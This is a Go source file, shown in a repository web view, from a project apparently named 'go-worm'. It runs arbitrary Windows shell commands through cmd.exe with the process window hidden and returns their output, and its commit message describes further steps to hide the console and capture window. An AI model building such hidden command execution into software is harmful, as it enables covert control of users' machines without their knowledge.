kato
cc2b1d049b
- Centralize hidden-process setup per OS - Hide console early to avoid startup flash - Keep capture window off-screen and hidden - Enable unified scheduler for watchdog task - Force GUI subsystem in build script
58 lines
1.3 KiB
Go
58 lines
1.3 KiB
Go
package command
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import (
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"bytes"
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"context"
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"errors"
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"os/exec"
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"time"
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"tea.chunkbyte.com/kato/go-worm/lib/config"
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"tea.chunkbyte.com/kato/go-worm/lib/helpers"
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"tea.chunkbyte.com/kato/go-worm/lib/models"
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)
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var (
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ErrEmptyCommand = errors.New("command must not be empty")
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ErrBadTimeout = errors.New("timeout_sec must be zero or positive")
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ErrTimeout = errors.New("command timed out")
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)
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func ResolveTimeout(seconds int) (time.Duration, error) {
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if seconds < 0 {
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return 0, ErrBadTimeout
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}
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if seconds == 0 {
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seconds = config.DefaultExecTO
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}
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if seconds > config.MaxExecTO {
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seconds = config.MaxExecTO
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}
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return time.Duration(seconds) * time.Second, nil
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}
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func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
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cmd := exec.CommandContext(ctx, "cmd.exe", "/D", "/C", cmdline)
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cmd.SysProcAttr = helpers.HiddenSysProcAttr()
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var stdout, stderr bytes.Buffer
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cmd.Stdout = &stdout
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cmd.Stderr = &stderr
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err := cmd.Run()
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if ctx.Err() == context.DeadlineExceeded {
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return models.ExecResponse{}, ErrTimeout
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}
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exitCode := 0
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if err != nil {
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var exitErr *exec.ExitError
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if !errors.As(err, &exitErr) {
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return models.ExecResponse{}, err
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}
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exitCode = exitErr.ExitCode()
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}
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return models.ExecResponse{
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ExitCode: exitCode,
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Stdout: stdout.String(),
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Stderr: stderr.String(),
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}, nil
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}
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